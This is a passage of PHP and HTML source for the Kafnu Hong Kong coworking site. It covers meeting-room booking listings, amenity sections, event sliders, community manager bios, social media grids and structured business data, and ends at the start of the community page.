data-value="6-person"></div> <div class="manic-expand-container-title"> <h5>6 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-03.jpg" data-image-tablet="images_cms/country/booking-space-03.jpg" data-image-mobile="images_cms/country/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>6 Person Meeting Room</h5> <p>Digital light cubes or panels, industrial walls, wireless projection.</p> <span class="price">From HK$750/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" data-value="8-person"></div> <div class="manic-expand-container-title"> <h5>8 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-04.jpg" data-image-tablet="images_cms/country/booking-space-04.jpg" data-image-mobile="images_cms/country/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>8 Person Meeting Room</h5> <p>80-inch screen, integrated aqua scape (coming soon).</p> <span class="price">From HK$900/Hour</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version">Book Now</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> </div> </div> </div> </article> <article id="page-country-main-content-section"> <div class="container-fluid reduce-padding"> <div id="page-country-main-content-item-container" class="hidden-xs hidden-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Live</h5> <h6>Life at its best at Kafnu Hong Kong.</h6> <ul> <li class="hk-live-01"> <p class="title">On-demand meal delivery from Morsel or Dockyard (nine restaurants and bar)</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim finibus.</p> --> </li> <li class="hk-live-02"> <p class="title">Member access to fitness centre & pool</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> --> </li> <li class="hk-live-03"> <p class="title">Discounts on hotel rooms</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="hk-live-04"> <p class="title">Pantry facilities</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 no-padding v-align-col left-col"> <div class="page-country-main-content-item-text"> <h5>Work</h5> <h6>An ecosystem that inspires creativity.</h6> <ul> <li class="hk-work-01"> <p class="title">Biophilic design</p> </li> <li class="hk-work-02"> <p class="title">Adjustable-height desks</p> </li> <li class="hk-work-03"> <p class="title">Printing, copying, scanning</p> </li> <li class="hk-work-04"> <p class="title">Flexible meeting spaces</p> </li> <li class="hk-work-05"> <p class="title">Sound proof phone booth for privacy</p> </li> <li class="hk-work-06"> <p class="title">Natural light throughout</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-8 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/work.jpg" data-image-tablet="images_cms/country/work.jpg" data-image-mobile="images_cms/country/work.jpg" alt=""> </div> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-8 no-padding v-align-col"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-01.jpg" data-image-tablet="images_cms/country/play-01.jpg" data-image-mobile="images_cms/country/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-02.jpg" data-image-tablet="images_cms/country/play-02.jpg" data-image-mobile="images_cms/country/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-4 no-padding v-align-col right-col"> <div class="page-country-main-content-item-text"> <h5>Play</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li class="hk-play-01"> <p class="title">Comfortable rest facilities</p> </li> <li class="hk-play-02"> <p class="title">Use of Kerry’s Fitness Centre & Pool</p> </li> <li class="hk-play-03"> <p class="title">Daily member happy hour (M-F)</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Learn</h5> <h6>Nonstop learning opportunities.</h6> <ul> <li class="hk-learn-01"> <p class="title">Events & mentorship</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="hk-learn-02"> <p class="title">Office hours with experts</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="hk-learn-03"> <p class="title">Member access to partner tools and discounts</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-6 col-md-offset-1 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/learn.jpg" data-image-tablet="images_cms/country/learn.jpg" data-image-mobile="images_cms/country/learn.jpg" alt=""> </div> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/rest.jpg" data-image-tablet="images_cms/country/rest.jpg" data-image-mobile="images_cms/country/rest.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Rest</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li class="hk-rest-01"> <p class="title">Lounge chairs & day beds</p> </li> <li class="hk-rest-02"> <p class="title">Member discounts on spa treatments</p> </li> <li class="hk-rest-03"> <p class="title">Harbour views</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> <div id="page-country-main-content-item-container-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-country-main-content-item"> <div class="row no-margin"> <div class="col-sm-12 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live-mobile.jpg" alt=""> </div> </div> <div class="col-sm-12 no-padding"> <div class="page-country-main-content-item-text"> <h5>Live</h5> <h6>Live your best life at Kafnu Hong Kong.</h6> <ul> <li> <i class="hk-live-01"></i> <p class="title">On-demand meal delivery from Morsel or Dockyard</p> </li> <li> <i class="hk-live-02"></i> <p class="title">Member access to fitness centre & pool</p> </li> <li> <i class="hk-live-03"></i> <p class="title">Discounts on hotel rooms</p> </li> <li> <i class="hk-live-04"></i> <p class="title">Pantry facilities</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row no-margin"> <div class="col-sm-12 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/work.jpg" data-image-tablet="images_cms/country/work.jpg" data-image-mobile="images_cms/country/work.jpg" alt=""> </div> </div> <div class="col-sm-12 no-padding"> <div class="page-country-main-content-item-text"> <h5>Work</h5> <h6>An ecosystem that inspires creativity.</h6> <ul> <li> <i class="hk-work-01"></i> <p class="title">Biophilic design</p> </li> <!-- <li> <i class="hk-work-02"></i> <p class="title">Adjustable-height desks</p> </li> --> <li> <i class="hk-work-03"></i> <p class="title">Printing, copying, scanning</p> </li> <li> <i class="hk-work-04"></i> <p class="title">Flexible meeting spaces</p> </li> <li> <i class="hk-work-05"></i> <p class="title">Sound proof phone booth for privacy</p> </li> <!-- <li> <i class="hk-work-06"></i> <p class="title">Natural light throughout</p> </li> --> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row no-margin"> <div class="col-md-12 no-padding"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-01.jpg" data-image-tablet="images_cms/country/play-01.jpg" data-image-mobile="images_cms/country/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-02.jpg" data-image-tablet="images_cms/country/play-02.jpg" data-image-mobile="images_cms/country/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-12 no-padding"> <div class="page-country-main-content-item-text"> <h5>Play</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li> <i class="hk-play-01"></i> <p class="title">Comfortable rest facilities</p> </li> <li> <i class="hk-play-02"></i> <p class="title">Use of Kerry’s Fitness Centre & Pool</p> </li> <li> <i class="hk-play-03"></i> <p class="title">Daily member happy hour (M-F)</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row no-margin"> <div class="col-md-12 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live.jpg" alt=""> </div> </div> <div class="col-md-12 no-padding"> <div class="page-country-main-content-item-text"> <h5>Learn</h5> <h6>Nonstop learning opportunities.</h6> <ul> <li> <i class="hk-learn-01"></i> <p class="title">Events & mentorship</p> </li> <li> <i class="hk-learn-02"></i> <p class="title">Office hours with experts</p> </li> <li> <i class="hk-learn-03"></i> <p class="title">Member access to partner tools and discounts</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row no-margin"> <div class="col-sm-12 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/rest.jpg" data-image-tablet="images_cms/country/rest.jpg" data-image-mobile="images_cms/country/rest.jpg" alt=""> </div> </div><!-- --><div class="col-sm-12 no-padding"> <div class="page-country-main-content-item-text"> <h5>Rest</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li> <i class="hk-rest-01"></i> <p class="title">Lounge chairs & day beds</p> </li> <li> <i class="hk-rest-02"></i> <p class="title">Member discounts on spa treatments</p> </li> <li> <i class="hk-rest-03"></i> <p class="title">Harbour views</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> </div> <!-- container-fluid --> </article> <article id="page-country-event-content-section-mobile" class="visible-sm visible-xs"> <div id="banner-sidebar-container-mobile" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-01.jpg" data-image-tablet="images_cms/country/event-slider-01.jpg" data-image-mobile="images_cms/country/event-slider-01-mobile.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Vision Board for the Future</h5> <p>12 October 2017 – 6:30 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-02.jpg" data-image-tablet="images_cms/country/event-slider-02.jpg" data-image-mobile="images_cms/country/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Reception for HICAP conference attendees</h5> <p>19 October 2017 – 7:00 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-03.jpg" data-image-tablet="images_cms/country/event-slider-03.jpg" data-image-mobile="images_cms/country/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>‘Unchartered Territories’ Dinner.</h5> <p>20 October 2017 – 6:00 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-04.jpg" data-image-tablet="images_cms/country/event-slider-04.jpg" data-image-mobile="images_cms/country/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Doing business in Taiwan</h5> <p>30 Oct – 3 Nov</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </article> <article id="page-country-extra-content-section"> <div class="container-fluid reduce-padding"> <div class="page-country-extra-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/community-manager.jpg" data-image-tablet="images_cms/country/community-manager.jpg" data-image-mobile="images_cms/country/community-manager.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h4>Hong Kong <br class="hidden-sm hidden-xs"> Community Managers</h4> <!-- <h4>justin lorem</h4> --> <p>Our Hong Kong Community Managers are a diverse and energetic group with a wide variety of backgrounds. Stop by Kafnu, take a tour, and meet them!</p> <ul> <li><span>Pico Ho</span></li> <li><span>Karl Li </span></li> <li><span>Jenna Ho</span></li> </ul> <ul> <li><span>Michelle Lui</span></li> <li><span>Ben Ng</span></li> </ul> </div> <!-- page-country-main-content-item-text --> <div class="page-country-main-content-item-cta-container"> <a href="community.html" class="square-cta border-white-version">Learn more</a> </div> </div> </div> <!-- row --> </div> <!-- page-country-extra-content-item --> </div> </article> <article id="page-default-connect-with-world-section" class="country-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="">Join Kafnu Hong kong & <br class="hidden-xs hidden-sm"> connect with the world</h4> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class=""><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class=""><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="80" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="60" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="105" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- default-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_country.php" ?> <script type='application/ld+json'> { "@context": "http://www.schema.org", "@type": "LocalBusiness", "name": "Kafnu Hong Kong", "email": "hongkong@kafnu.com", "image": "https://www.kafnu.com/images_cms/country/hong-kong-banner.jpg", "telephone": "+852-39745125", "url": "https://www.kafnu.com/kafnuhk.html", "description": "Kafnu is a living ecosystem, and filled with artistic reminders of this concept. The design and architecture inspires our members to visualize the beauty of the Kafnu community in different, abstract ways. Music playing is an eclectic, curated mix of undiscovered artists and nostalgic classics. Art throughout the space is designed to get members talking to one another, asking questions and encouraging debate. Biophlilic design embraces nature and inspires new thinking. A vibrant community on Victoria Harbour in the heart of Hung Hom.", "address": { "@type": "PostalAddress", "streetAddress": "2F-38, Hung Luen Road", "addressLocality": "Hung Hom", "addressRegion": "Kowloon", "addressCountry": "Hong Kong" }, "geo": { "@type": "GeoCoordinates", "latitude": "22.3014472", "longitude": "114.1883008" }, "openingHours": "Mo-Su 08:00-20:00", "contactPoint": { "@type": "ContactPoint", "contactType": "customer service", "telephone": "+852-39745125" } } </script> </body> </html> <?php // saving captured output to file file_put_contents('kafnuhk.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` community.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-community"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-mobile-spacer hidden-lg hidden-md"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="community-page-1"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/community/community-banner.jpg" data-image-mobile="images_cms/community/community-banner-mobile.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="center-version medium-text-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>The Kafnu Community</h1> <h3>Bridging the gap between individual effort and community resources</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-community-slider-section" class="community-page-1"> <div class="container-fluid"> <div class="row"> <div class="col-md-10 col-md-offset-1"> <div id="page-community-slider-title"> <!-- <div class="manic-image-container"> --> <img src="kafnu_assets/images/logo/logo-kafnu-color-vertical.svg" alt=""> <!-- </div> --> <h3>Kafnu is named after a village in India at the base of the Himalayas. Visitors come to the village to meet with fellow travellers and explorers to start their treks into the mountains.</h3> <h3>Just like travelers, adventurers, backpackers, and explorers begin their Himalayan treks from Kafnu, so entrepreneurs, artists, and creators start and fulfil their personal and professional journeys from Kafnu.</h3> </div> <!-- page-community-slider-title --> <div id="page-community-slider-title-2"> <h2>Our community managers</h2> </div> <div id="page-community-slider-container" class="hidden-xs hidden-sm"> <div id="page-community-slider" class="kafnu-slick-slider"> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-01.jpg" data-image-tablet="images_cms/community/community-slider-01.jpg" data-image-mobile="images_cms/community/community-slider-01.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Pico Ho</h4> <p>I’m a listener with respect and empathy. I also go hiking and camping with friends while we are free. If there’s an obstacle in front of you, I will be the one who stands right next to you and we solve it together.</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-02.jpg" data-image-tablet="images_cms/community/community-slider-02.jpg" data-image-mobile="images_cms/community/community-slider-02.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Jenna Ho</h4> <p>Music is my belief and my channel to express emotions; I started writing songs when I was 13. My life motto is: Do it if you want it.</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-03.jpg" data-image-tablet="images_cms/community/community-slider-03.jpg" data-image-mobile="images_cms/community/community-slider-03.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Ben Ng</h4> <p>Movies inspire me, no matter happy or sad. I have experienced many failures but all of them are steps to construct a better me.</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-04.jpg" data-image-tablet="images_cms/community/community-slider-04.jpg" data-image-mobile="images_cms/community/community-slider-04.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Michelle Lui</h4> <p>I have a common name but I aim to live an extraordinary life. I am a super adventurous person - I love rafting, kayaking and exploring.</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-05.jpg" data-image-tablet="images_cms/community/community-slider-05.jpg" data-image-mobile="images_cms/community/community-slider-05.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Karl Li</h4> <p>I am critical about things and always play the devil’s advocate role in the team. My favourite book is "From 0 to 1". It inspired me a lot and made me love creating new things.</p> </div> </div> <!-- <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-03.jpg" data-image-tablet="images_cms/community/community-slider-03.jpg" data-image-mobile="images_cms/community/community-slider-03.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>hong kong</h5> <h4>Ben Ng</h4> <p>I am critical about things and always play the devil’s advocate role in the team. My favourite book is "From 0 to 1". It inspired me a lot and made me love creating new things.</p> </div> </div> --> </div> <div id="page-community-thumbnail-slider" class="kafnu-slick-slider"> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-02.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-04.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-05.jpg" class="img-responsive" alt=""> </div> <!-- <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> --> </div> </div> <!-- page-community-slider-container --> <div id="page-community-managers-mobile" class="visible-xs visible-sm"> <div class="page-community-managers-item-mobile"> <div class="manic-image-container has-full-width"> <img src="" data-image-tablet="images_cms/community/community-slider-01.jpg" data-image-mobile="images_cms/community/community-slider-01-mobile.jpg" alt=""> </div> <div class="text-container"> <h5>hong kong</h5> <h4>Pico Ho</h4> <p>I'm a listener with empathy and respect. My hobbies are photography, hiking and camping.</p> </div> </div> <!-- page-community-managers-item-mobile --> <div class="page-community-managers-see-more-box"> <div class="text-container"> <a href="#see-more-managers" class="see-more-managers"><h4>see more <br>community managers</h4></a> </div> <div class="cta-container"> <a href="#see-more-managers" class="see-more-managers plus-icon"></a> </div> </div> </div> </div> </div> </div> <!-- container-fluid--> </article> <!-- page-community-slider-section --> <article id="page-community-memeber-section" class=""> <div class="container-fluid"> <div id="page-community-member-title"> <h2>What Our Members Say</h2> </div> <div id="page-community-member-slider" class="kafnu-slick-slider hidden-xs hidden-sm"> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-color.jpg" 